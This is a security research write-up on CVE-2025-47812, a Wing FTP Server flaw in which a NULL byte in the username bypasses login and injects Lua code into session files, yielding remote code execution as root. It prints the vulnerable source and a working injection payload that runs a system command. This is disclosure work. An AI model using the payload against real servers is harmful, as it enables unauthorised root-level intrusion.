What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
While performing a penetration test for one of our Continuous Penetration Testing customers, we’ve found a Wing FTP server instance that allowed anonymous connections. It was almost the only interesting thing exposed, but we still wanted to get a foothold into their perimeter and provide the customer with an impactful finding. So we unboxed our Binary Ninja and started digging. Spoiler: We ended up getting remote code execution as root.
Good Old Anonymous!
So we came across Wing FTP’s web interface that apparently allowed anonymous logins. In the case of Wing FTP, the anonymous user on the web interface is the same as used in the FTP protocol.
After authentication (well, anonymous connections can be considered unauthenticated since it doesn’t require any password at all), we weren’t able to do much, apart from downloading some static public content. But great, we at least have read permissions. What you normally do in this situation is fuzzing for other user accounts that might have a weaker, easy to guess password. However, we weren’t super lucky since all of them simply returned a “Login failed” error message:

We almost gave up, until we noticed a particularly interesting pattern:

So appending a NULL byte to the username followed by any random string doesn’t seem to trigger an authentication failure, which is what you’d expect normally. Instead, it seems to still successfully authenticate the user. Besides the missing error message, the other indicator for a successful authentication is the UID
cookie, which is Wing FTP’s primary authentication cookie for the user web interface. This triggered us quite hard, especially since this behaviour is observable across the entire web interface and even the administrative web interface.
Strlen() vs NULL
Exploring this black box is almost impossible, so we started setting up our Wing FTP server instance to debug what was going on, since it kind of smelled like there’s something juicy hidden here. When having a look at the loginok.html
file which handles the authentication process, you’ll get the following code:
local username = _GET["username"] or _POST["username"] or "" local password = _GET["password"] or _POST["password"] or "" local remember = _GET["remember"] or _POST["remember"] or "" local redir = _GET["redir"] or _POST["redir"] or "" local lang = _GET["lang"] or _POST["lang"] or "" username = string.gsub(username,"+"," ") username = string.gsub(username,"t","+") password = string.gsub(password,"+"," ") password = string.gsub(password,"t","+") local result = c_CheckUser(username,password) if result ~= OK_CHECK_CONNECTION then c_AddWebLog("User '"..string.sub(username, 1, 64).."' login failed! (IP:".._REMOTE_IP..")","0",DOMAIN_LOG_WEB_RESPOND) print("")
So there isn’t a lot of filtering happening at all up to the point when we hit the c_CheckUser()
call on line 13 which is supposed to verify the username/password combination. While debugging exactly this line, we noticed that c_CheckUser
always returns OK_CHECK_CONNECTION
regardless of what comes after the NULL byte in the username, as long as the string before the NULL byte matches an existing user. Since c_CheckUser()
is implemented in the Wing FTP’s main binary wftpserver
, we set up our remote debug server and attached our favourite debugger, Binary Ninja, to it to find out what was going on here. Here’s what we noticed:
Quite early in c_CheckUser()
, the application fetches the username using a lua_tolstring
call (which ignores the NULL-byte) and passes the resulting string to a CStdStr
constructor:

When tracing the constructor actions further down the line, we will eventually end up in a function called ssasn(std::string& arg1, char const* arg2)
which will call std::string:assign
on our username, which still has the NULL-byte included:

Now std::string:assign
internally uses strlen()
on our username to get the string size, but strlen
only counts all the characters until it reaches the NULL-byte terminator. This is why the RAX register contains 0x9 which is precisely the length of the username “anonymous”:

This, in return, means that the CStdStr
constructor will work with only the first part of the username string up to the NULL-byte that we have injected as part of the username. Since it only takes the first part, the call to CUserManager::CheckUser
will also only work with the first part of the username, ultimately allowing us to pass the authentication check with any string as long as an existing username comes before the NULL byte:

Why the heck is this interesting?!?
So, remember that c_CheckUser
in the Lua code performs the authentication check: If we have a look a little further down the code in loginok.html
to inspect how the sessions are generated, you’ll notice this:
local username = _GET["username"] or _POST["username"] or "" local password = _GET["password"] or _POST["password"] or "" local remember = _GET["remember"] or _POST["remember"] or "" local redir = _GET["redir"] or _POST["redir"] or "" local lang = _GET["lang"] or _POST["lang"] or "" username = string.gsub(username,"+"," ") username = string.gsub(username,"t","+") password = string.gsub(password,"+"," ") password = string.gsub(password,"t","+") local result = c_CheckUser(username,password) if result ~= OK_CHECK_CONNECTION then c_AddWebLog("User '"..string.sub(username, 1, 64).."' login failed! (IP:".._REMOTE_IP..")","0",DOMAIN_LOG_WEB_RESPOND) print("") else if _COOKIE["UID"] ~= nil then _SESSION_ID = _COOKIE["UID"] local retval = SessionModule.load(_SESSION_ID) if retval == false then _SESSION_ID = SessionModule.new() if _UseSSL == true then _SETCOOKIE = _SETCOOKIE.."Set-Cookie: UID=".._SESSION_ID.."; HttpOnly; Securern" else _SETCOOKIE = _SETCOOKIE.."Set-Cookie: UID=".._SESSION_ID.."; HttpOnlyrn" end rawset(_COOKIE,"UID",_SESSION_ID) end else _SESSION_ID = SessionModule.new() if _UseSSL == true then _SETCOOKIE = _SETCOOKIE.."Set-Cookie: UID=".._SESSION_ID.."; HttpOnly; Securern" else _SETCOOKIE = _SETCOOKIE.."Set-Cookie: UID=".._SESSION_ID.."; HttpOnlyrn" end rawset(_COOKIE,"UID",_SESSION_ID) end if package.config:sub(1,1) == "\" then username = string.lower(username) end rawset(_SESSION,"username",username) rawset(_SESSION,"ipaddress",_REMOTE_IP) SessionModule.save(_SESSION_ID)
So what happens here is the application works with the username in the rawset()
call on line 43 that is directly sourced from the GET or POST parameter on line 1. And this is the full username, including NULL byte and whatever comes after it. This is because c_CheckUser()
does not return a sanitized username, but only the authentication state.
On line 45, the application then calls SessionModule.save()
which is defined as follows:
function save (id) if not check_id (id) then return nil, INVALID_SESSION_ID end if isfolder(root_dir) == false then mkdir(root_dir) chmod(root_dir, "0600") end local fh = assert(_open(filename (id), "w+")) serialize(_SESSION, function (s) fh:write(s) end) fh:close() chmod(filename(id), "0600") end
Here, the application creates a new session file on line 11, and afterwards serializes everything from _SESSION
which includes our username into the session file. serialize()
looks like this:
function serialize(tab,outf) if type(tab) == "table" then for k,v in pairs(tab) do if type(k) == "string" then k="'"..k.."'" end if(type(v) == "string") then outf("_SESSION["..k.."]=[["..v.."]]rn") elseif(type(v) == "number") then outf("_SESSION["..k.."]="..v.."rn") elseif(type(v) == "function") then outf("_SESSION["..k.."]="[function]"rn") elseif(type(v) == "nil") then outf("_SESSION["..k.."]=nilrn") else outf("_SESSION["..k.."]={") serialize(v,outf) outf("}rn") end end end end
You might have an idea where this is leading to. But let’s have a closer look at those session files.
Lua Code Injection into Session Files
When you authenticate against the web interface with our NULL-byte injected username, the application creates a new session ID indicated by the UID
session cookie:

When having a look at the wftpserver/session directory, you can notice that these session files are essentially Lua script files. The intention of these is to store only session variables, but since the loginok.html file works with the entire string, the NULL byte gets actually stored in the Session variable as well:

So what could possible go wrong with a username like this?
anonymous%00]]%0dlocal+h+%3d+io.popen("id")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--

This injects Lua code into the session file (also: nano FTW):

Triggering the Code Injection
We do have our injected Lua code in the session file, but how do we execute it? It is as easy as it sounds: the session file gets executed whenever it is used. The reason can be found in SessionModule.lua
:
function load (id) if not check_id (id) then return false end local filepath = filename(id) if fileexist(filepath) then if filetime(filepath) + timeout < time() then remove(filepath) return false end local ipHash = string.sub(id, -32) if c_RestrictSessionIP() == true and ipHash ~= md5(_REMOTE_IP) then return false end if ipHash == "f528764d624db129b32c21fbca0cb8d6" and _REMOTE_IP ~= "127.0.0.1" then return false end local f, err = loadfile(filepath) if not f then return false else f() return true end end end
If the session ID is valid, the session file is loaded on line 22 and directly executed on line 26. So after injecting the Lua code into the session file, whose name is essentially the value of the UID cookie, you only need to call any of the authenticated functionalities that are available through the Wing FTP web interface, such as reading the directory contents using the /dir.html
endpoint:

This gives us Remote Code Execution on the server. But it does not end here. As you can see in the screenshot, the code is executed using root-rights on Linux because wftpserver runs using root-level rights by default. There is no dropping of rights, no jailing, or sandboxing (see also CVE-2025-47811).
On a side note: the Windows version of Wing FTP server is started using NT AUTHORITY/SYSTEM rights by default, which is why you will end up with a SYSTEM rights RCE on Microsoft Windows.
At this point, we’ve achieved what we wanted: Going from an anonymous read-only account to full code execution as root. And just to clarify: this isn’t just exploitable using the Anonymous account, but with any user account.
A Couple of more (minor) Bugs Affecting Wing FTP Server
CVE-2025-27889: Link Injection Allowing to Steal Clear-Text Password
CVE-2025-47811: Overly Permissive Service running with Root/SYSTEM by default
CVE-2025-47813: Local Path Disclosure Through Overlong UID Cookie
You will find the respective security advisories in our GitHub repository.
Remediation
All reported bugs have been fixed in version 7.4.4 of Wing FTP, except for CVE-2025-47811, which the vendor thinks is fine to keep despite being the reason why we got full root access.
Stay curious.
Source link